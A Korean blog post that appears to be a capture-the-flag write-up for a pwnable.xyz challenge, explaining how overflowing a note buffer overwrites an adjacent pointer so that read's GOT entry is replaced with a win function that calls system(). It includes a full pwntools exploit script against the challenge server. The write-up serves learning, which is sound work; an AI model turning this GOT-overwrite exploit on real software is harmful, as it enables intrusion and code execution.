How to Exploit

image

edit_note 함수는 len을 입력받고 그만큼 malloc으로 할당해준 뒤 그만큼 입력하고 s에 복사하고 free 함수에 의해 해제된다.

edit_desc 함수는 buf의 값이 0이 아니라면 0x20만큼 할당해주고 buf에 값을 입력한다.

이 문제 또한 system 함수를 호출하는 win 함수를 가진다.

Design the Payload

  1. s와 buf의 거리가 32밖에 되지 않아 s에서 buf를 덮어씌울 수 있다.
image
  1. edit_desc 함수의 경우 read 함수로 리턴하므로 read 함수의 got 값을 win 함수의 주소값으로 전환시키면 된다. read_got를 먼저 s를 이용해 buf에 넣어주고 buf에 메모리가 할당되었을 때 read_got에 win 함수의 주소를 overwrite하자.

Exploit Code

from pwn import *
#p=process('./challenge')
p=remote('svc.pwnable.xyz', 30016)

win_add = 0x40093c
read_got = 0x601248

p.sendlineafter('> ', '1')
p.sendlineafter('len? ', '45')
p.sendlineafter('note: ', 'A'*32+p64(read_got))

p.sendlineafter('> ', '2')
p.sendlineafter('desc: ', p64(win_add))
p.sendlineafter('> ', '2')

p.interactive()

Capture The Flag

image

'Writeup [pwn] > pwnable.xyz' 카테고리의 다른 글

TLSv00  (0) 2020.03.07
Sub  (0) 2020.03.07
Misalignment  (0) 2020.03.07
GrownUp  (0) 2020.03.07
Add  (0) 2020.03.07

+ Recent posts